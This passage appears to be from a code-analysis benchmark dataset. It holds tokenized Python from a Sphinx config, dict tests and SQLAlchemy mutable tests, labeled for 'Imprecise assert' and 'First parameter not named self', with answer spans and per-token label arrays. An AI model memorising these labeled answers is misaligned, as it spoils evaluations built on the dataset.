"all", " ", "manu", "als", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "tex", "info", "\\u", "appendi", "ces", " ", "=", " ", "[]", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "fal", "se", ",", " ", "no", " ", "module", " ", "index", " ", "is", " ", "generat", "ed", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "tex", "info", "\\u", "domain", "\\u", "indice", "s", " ", "=", " ", "True_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Ho", "w", " ", "to", " ", "display", " ", "URL", " ", "addresse", "s", ":", " ", "'", "footnote", "',", " ", "'", "no", "',", " ", "or", " ", "'", "inline", "'.", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "tex", "info", "\\u", "show", "\\u", "urls", " ", "=", " ", "'", "footnote", "'_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "true", ",", " ", "do", " ", "not", " ", "generat", "e", " ", "a", " ", "@", "deta", "il", "menu", " ", "in", " ", "the", " ", "\"", "Top", "\"", " ", "node", "'", "s", " ", "menu", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "tex", "info", "\\u", "no", "\\u", "deta", "il", "menu", " ", "=", " ", "False_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Exam", "ple", " ", "configura", "tion", " ", "for", " ", "intersphinx", ":", " ", "refer", " ", "to", " ", "the", " ", "Pyth", "on", " ", "standard", " ", "librar", "y", "._", "\\u\\u\\uNL\\u\\u\\u_", "intersphinx", "\\u", "mapping_", "=_", "{_", "'", "https", "://", "docs", ".", "python", ".", "org", "/'_", ":_", "None_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "on", "\\u", "rtd", "_", "=_", "os_", "._", "environ_", "._", "get_", "(_", "'", "READ", "THE", "DOCS", "'_", ",_", "None_", ")_", "==_", "'", "Tru", "e", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "on", "\\u", "rtd", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "sphinx", "\\u", "rtd", "\\u", "theme_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "html", "\\u", "theme_", "=_", "'", "sphinx", "\\u", "rtd", "\\u", "them", "e", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "html", "\\u", "them", "e\\u", "path_", "=_", "[_", "sphinx", "\\u", "rtd", "\\u", "theme_", "._", "get", "\\u", "html", "\\u", "them", "e\\u", "path_", "(_", ")_", "]_", "\\u\\u\\uDEDENT\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
amrdraz/kodr/app/brython/www/src/Lib/test/test_dict.py
[ { "content": " def test_contains(self):\n d = {}\n self.assertNotIn('a', d)\n self.assertFalse('a' in d)\n self.assertTrue('a' not in d)\n d = {'a': 1, 'b': 2}\n self.assertIn('a', d)\n self.assertIn('b', d)\n self.assertNotIn('c', d)\n\n self.assertRaises(TypeError, d.__contains__)", "metadata": "root.DictTest.test_contains", "header": "['class', 'DictTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 72 }, { "content": " def helper_keys_contained(self, fn):\n # Test rich comparisons against dict key views, which should behave the\n # same as sets.\n empty = fn(dict())\n empty2 = fn(dict())\n smaller = fn({1:1, 2:2})\n larger = fn({1:1, 2:2, 3:3})\n larger2 = fn({1:1, 2:2, 3:3})\n larger3 = fn({4:1, 2:2, 3:3})\n\n self.assertTrue(smaller < larger)\n self.assertTrue(smaller <= larger)\n self.assertTrue(larger > smaller)\n self.assertTrue(larger >= smaller)\n\n self.assertFalse(smaller >= larger)\n self.assertFalse(smaller > larger)\n self.assertFalse(larger <= smaller)\n self.assertFalse(larger < smaller)\n\n self.assertFalse(smaller < larger3)\n self.assertFalse(smaller <= larger3)\n self.assertFalse(larger3 > smaller)\n self.assertFalse(larger3 >= smaller)\n\n # Inequality strictness\n self.assertTrue(larger2 >= larger)\n self.assertTrue(larger2 <= larger)\n self.assertFalse(larger2 > larger)\n self.assertFalse(larger2 < larger)\n\n self.assertTrue(larger == larger2)\n self.assertTrue(smaller != larger)\n\n # There is an optimization on the zero-element case.\n self.assertTrue(empty == empty2)\n self.assertFalse(empty != empty2)\n self.assertFalse(empty == smaller)\n self.assertTrue(empty != smaller)\n\n # With the same size, an elementwise compare happens\n self.assertTrue(larger != larger3)\n self.assertFalse(larger == larger3)", "metadata": "root.DictTest.helper_keys_contained", "header": "['class', 'DictTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 489 }, { "content": " def test_dictview_mixed_set_operations(self):\n # Just a few for .keys()\n self.assertTrue({1:1}.keys() == {1})\n self.assertTrue({1} == {1:1}.keys())\n self.assertEqual({1:1}.keys() | {2}, {1, 2})\n self.assertEqual({2} | {1:1}.keys(), {1, 2})\n # And a few for .items()\n self.assertTrue({1:1}.items() == {(1,1)})\n self.assertTrue({(1,1)} == {1:1}.items())\n self.assertEqual({1:1}.items() | {2}, {(1,1), 2})\n self.assertEqual({2} | {1:1}.items(), {(1,1), 2})", "metadata": "root.DictTest.test_dictview_mixed_set_operations", "header": "['class', 'DictTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 585 } ]
[ { "span": "self.assertFalse('a' in d)", "start_line": 75, "start_column": 8, "end_line": 75, "end_column": 34 }, { "span": "self.assertTrue('a' not in d)", "start_line": 76, "start_column": 8, "end_line": 76, "end_column": 37 }, { "span": "self.assertTrue(smaller < larger)", "start_line": 499, "start_column": 8, "end_line": 499, "end_column": 42 }, { "span": "self.assertTrue(smaller <= larger)", "start_line": 500, "start_column": 8, "end_line": 500, "end_column": 42 }, { "span": "self.assertTrue(larger > smaller)", "start_line": 501, "start_column": 8, "end_line": 501, "end_column": 42 }, { "span": "self.assertTrue(larger >= smaller)", "start_line": 502, "start_column": 8, "end_line": 502, "end_column": 42 }, { "span": "self.assertFalse(smaller >= larger)", "start_line": 504, "start_column": 8, "end_line": 504, "end_column": 43 }, { "span": "self.assertFalse(smaller > larger)", "start_line": 505, "start_column": 8, "end_line": 505, "end_column": 43 }, { "span": "self.assertFalse(larger <= smaller)", "start_line": 506, "start_column": 8, "end_line": 506, "end_column": 44 }, { "span": "self.assertFalse(larger < smaller)", "start_line": 507, "start_column": 8, "end_line": 507, "end_column": 44 }, { "span": "self.assertFalse(smaller < larger3)", "start_line": 509, "start_column": 8, "end_line": 509, "end_column": 44 }, { "span": "self.assertFalse(smaller <= larger3)", "start_line": 510, "start_column": 8, "end_line": 510, "end_column": 44 }, { "span": "self.assertFalse(larger3 > smaller)", "start_line": 511, "start_column": 8, "end_line": 511, "end_column": 44 }, { "span": "self.assertFalse(larger3 >= smaller)", "start_line": 512, "start_column": 8, "end_line": 512, "end_column": 44 }, { "span": "self.assertTrue(larger2 >= larger)", "start_line": 515, "start_column": 8, "end_line": 515, "end_column": 42 }, { "span": "self.assertTrue(larger2 <= larger)", "start_line": 516, "start_column": 8, "end_line": 516, "end_column": 42 }, { "span": "self.assertFalse(larger2 > larger)", "start_line": 517, "start_column": 8, "end_line": 517, "end_column": 42 }, { "span": "self.assertFalse(larger2 < larger)", "start_line": 518, "start_column": 8, "end_line": 518, "end_column": 42 }, { "span": "self.assertTrue(larger == larger2)", "start_line": 520, "start_column": 8, "end_line": 520, "end_column": 42 }, { "span": "self.assertTrue(smaller != larger)", "start_line": 521, "start_column": 8, "end_line": 521, "end_column": 42 }, { "span": "self.assertTrue(empty == empty2)", "start_line": 524, "start_column": 8, "end_line": 524, "end_column": 40 }, { "span": "self.assertFalse(empty != empty2)", "start_line": 525, "start_column": 8, "end_line": 525, "end_column": 41 }, { "span": "self.assertFalse(empty == smaller)", "start_line": 526, "start_column": 8, "end_line": 526, "end_column": 42 }, { "span": "self.assertTrue(empty != smaller)", "start_line": 527, "start_column": 8, "end_line": 527, "end_column": 41 }, { "span": "self.assertTrue(larger != larger3)", "start_line": 530, "start_column": 8, "end_line": 530, "end_column": 42 }, { "span": "self.assertFalse(larger == larger3)", "start_line": 531, "start_column": 8, "end_line": 531, "end_column": 43 }, { "span": "self.assertTrue({1:1}.keys() == {1})", "start_line": 587, "start_column": 8, "end_line": 587, "end_column": 44 }, { "span": "self.assertTrue({1} == {1:1}.keys())", "start_line": 588, "start_column": 8, "end_line": 588, "end_column": 44 }, { "span": "self.assertTrue({1:1}.items() == {(1,1)})", "start_line": 592, "start_column": 8, "end_line": 592, "end_column": 49 }, { "span": "self.assertTrue({(1,1)} == {1:1}.items())", "start_line": 593, "start_column": 8, "end_line": 593, "end_column": 49 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Dict", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "contains_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "d_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Not", "In_", "(_", "'", "a", "'_", ",_", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "'", "a", "'_", "in_", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "'", "a", "'_", "not_", "in_", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "{_", "'", "a", "'_", ":_", "1_", ",_", "'", "b", "'_", ":_", "2_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "In_", "(_", "'", "a", "'_", ",_", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "In_", "(_", "'", "b", "'_", ",_", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Not", "In_", "(_", "'", "c", "'_", ",_", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "d_", "._", "\\u\\u", "contains\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dict", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "help", "er", "\\u", "keys", "\\u", "contain", "ed_", "(_", "self_", ",_", "fn_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Test", " ", "rich", " ", "comparisons", " ", "against", " ", "dict", " ", "key", " ", "views", ",", " ", "whi", "ch", " ", "shou", "ld", " ", "behave", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "same", " ", "as", " ", "sets", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "empty_", "=_", "fn_", "(_", "dict_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "empty", "2_", "=_", "fn_", "(_", "dict_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "small", "er_", "=_", "fn_", "(_", "{_", "1_", ":_", "1_", ",_", "2_", ":_", "2_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "large", "r_", "=_", "fn_", "(_", "{_", "1_", ":_", "1_", ",_", "2_", ":_", "2_", ",_", "3_", ":_", "3_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "large", "r2_", "=_", "fn_", "(_", "{_", "1_", ":_", "1_", ",_", "2_", ":_", "2_", ",_", "3_", ":_", "3_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "large", "r3_", "=_", "fn_", "(_", "{_", "4_", ":_", "1_", ",_", "2_", ":_", "2_", ",_", "3_", ":_", "3_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "small", "er_", "<_", "large", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "small", "er_", "<=_", "large", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "large", "r_", ">_", "small", "er_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "large", "r_", ">=_", "small", "er_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "small", "er_", ">=_", "large", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "small", "er_", ">_", "large", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "large", "r_", "<=_", "small", "er_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "large", "r_", "<_", "small", "er_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "small", "er_", "<_", "large", "r3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "small", "er_", "<=_", "large", "r3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "large", "r3_", ">_", "small", "er_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "large", "r3_", ">=_", "small", "er_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Ine", "quali", "ty", " ", "strict", "ness_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "large", "r2_", ">=_", "large", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "large", "r2_", "<=_", "large", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "large", "r2_", ">_", "large", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "large", "r2_", "<_", "large", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "large", "r_", "==_", "large", "r2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "small", "er_", "!=_", "large", "r_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "There", " ", "is", " ", "an", " ", "optimization", " ", "on", " ", "the", " ", "zero", "-", "element", " ", "case", "._", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "empty_", "==_", "empty", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "empty_", "!=_", "empty", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "empty_", "==_", "small", "er_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "empty_", "!=_", "small", "er_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "With", " ", "the", " ", "same", " ", "size", ",", " ", "an", " ", "element", "wis", "e", " ", "compare", " ", "happ", "ens_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "large", "r_", "!=_", "large", "r3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "large", "r_", "==_", "large", "r3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Dict", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "dict", "view", "\\u", "mixed", "\\u", "set\\u", "operations_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Ju", "st", " ", "a", " ", "few", " ", "for", " ", ".", "keys", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "True_", "(_", "{_", "1_", ":_", "1_", "}_", "._", "keys_", "(_", ")_", "==_", "{_", "1_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "{_", "1_", "}_", "==_", "{_", "1_", ":_", "1_", "}_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "{_", "1_", ":_", "1_", "}_", "._", "keys_", "(_", ")_", "|_", "{_", "2_", "}_", ",_", "{_", "1_", ",_", "2_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "{_", "2_", "}_", "|_", "{_", "1_", ":_", "1_", "}_", "._", "keys_", "(_", ")_", ",_", "{_", "1_", ",_", "2_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "And", " ", "a", " ", "few", " ", "for", " ", ".", "items", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "{_", "1_", ":_", "1_", "}_", "._", "items_", "(_", ")_", "==_", "{_", "(_", "1_", ",_", "1_", ")_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "{_", "(_", "1_", ",_", "1_", ")_", "}_", "==_", "{_", "1_", ":_", "1_", "}_", "._", "items_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "{_", "1_", ":_", "1_", "}_", "._", "items_", "(_", ")_", "|_", "{_", "2_", "}_", ",_", "{_", "(_", "1_", ",_", "1_", ")_", ",_", "2_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "{_", "2_", "}_", "|_", "{_", "1_", ":_", "1_", "}_", "._", "items_", "(_", ")_", ",_", "{_", "(_", "1_", ",_", "1_", ")_", ",_", "2_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
First parameter of a method is not named 'self'
zzzeek/sqlalchemy/test/ext/test_mutable.py
[ { "content": " def setup_mappers(cls):\n foo = cls.tables.foo\n\n mapper(Foo, foo)", "metadata": "root._MutableDictTestBase.setup_mappers", "header": "['class', '_MutableDictTestBase', '(', '_MutableDictTestFixture', ')', ':', '___EOS___']", "index": 83 }, { "content": " def setup_mappers(cls):\n foo = cls.tables.foo\n\n mapper(Foo, foo)", "metadata": "root._MutableListTestBase.setup_mappers", "header": "['class', '_MutableListTestBase', '(', '_MutableListTestFixture', ')', ':', '___EOS___']", "index": 278 }, { "content": " def setup_mappers(cls):\n foo = cls.tables.foo\n\n mapper(Foo, foo)", "metadata": "root._MutableSetTestBase.setup_mappers", "header": "['class', '_MutableSetTestBase', '(', '_MutableSetTestFixture', ')', ':', '___EOS___']", "index": 478 }, { "content": " def setup_mappers(cls):\n foo = cls.tables.foo\n\n mapper(Foo, foo)", "metadata": "root.MutableColumnDefaultTest.setup_mappers", "header": "['class', 'MutableColumnDefaultTest', '(', '_MutableDictTestFixture', ',', 'fixtures', '.', 'MappedTest', ')', ':', '___EOS___']", "index": 654 }, { "content": " def setup_mappers(cls):\n foo = cls.tables.foo\n subfoo = cls.tables.subfoo\n\n mapper(Foo, foo)\n mapper(SubFoo, subfoo, inherits=Foo)\n MutableDict.associate_with_attribute(Foo.data)", "metadata": "root.MutableAssocWithAttrInheritTest.setup_mappers", "header": "['class', 'MutableAssocWithAttrInheritTest', '(', '_MutableDictTestBase', ',', '___NL___', 'fixtures', '.', 'MappedTest', ')', ':', '___EOS___']", "index": 780 } ]
[ { "span": "def setup_mappers(cls):", "start_line": 83, "start_column": 4, "end_line": 83, "end_column": 27 }, { "span": "def setup_mappers(cls):", "start_line": 278, "start_column": 4, "end_line": 278, "end_column": 27 }, { "span": "def setup_mappers(cls):", "start_line": 478, "start_column": 4, "end_line": 478, "end_column": 27 }, { "span": "def setup_mappers(cls):", "start_line": 654, "start_column": 4, "end_line": 654, "end_column": 27 }, { "span": "def setup_mappers(cls):", "start_line": 780, "start_column": 4, "end_line": 780, "end_column": 27 } ]
[]
1
true
[ "[CLS]_", "First_", "parameter_", "of_", "a_", "method_", "is_", "not_", "named_", "'", "self", "'_", "[SEP]_", "class_", "\\u", "Mut", "able", "Dict", "Test", "Base_", "(_", "\\u", "Mut", "able", "Dict", "Test", "Fixture_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "setup", "\\u", "mapper", "s_", "(_", "cls_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "foo_", "=_", "cls_", "._", "tables_", "._", "foo_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "mapper_", "(_", "Foo_", ",_", "foo_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "\\u", "Mut", "able", "List", "Test", "Base_", "(_", "\\u", "Mut", "able", "List", "Test", "Fixture_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "setup", "\\u", "mapper", "s_", "(_", "cls_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "foo_", "=_", "cls_", "._", "tables_", "._", "foo_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "mapper_", "(_", "Foo_", ",_", "foo_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "\\u", "Mut", "able", "Set", "Test", "Base_", "(_", "\\u", "Mut", "able", "Set", "Test", "Fixture_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "setup", "\\u", "mapper", "s_", "(_", "cls_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "foo_", "=_", "cls_", "._", "tables_", "._", "foo_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "mapper_", "(_", "Foo_", ",_", "foo_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mut", "able", "Colum", "n", "Default", "Test_", "(_", "\\u", "Mut", "able", "Dict", "Test", "Fixture_", ",_", "fixtures_", "._", "Map", "ped", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "setup", "\\u", "mapper", "s_", "(_", "cls_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "foo_", "=_", "cls_", "._", "tables_", "._", "foo_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "mapper_", "(_", "Foo_", ",_", "foo_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Mut", "able", "Assoc", "With", "Attr", "Inherit", "Test_", "(_", "\\u", "Mut", "able", "Dict", "Test", "Base_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "fixtures_", "._", "Map", "ped", "Test_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "setup", "\\u", "mapper", "s_", "(_", "cls_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "foo_", "=_", "cls_", "._", "tables_", "._", "foo_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "subf", "oo_", "=_", "cls_", "._", "tables_", "._", "subf", "oo_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "mapper_", "(_", "Foo_", ",_", "foo_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mapper_", "(_", "Sub", "Foo_", ",_", "subf", "oo_", ",_", "inherits", "_", "=_", "Foo_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Mut", "able", "Dict_", "._", "associate", "\\u", "with", "\\u", "attribute_", "(_", "Foo_", "._", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 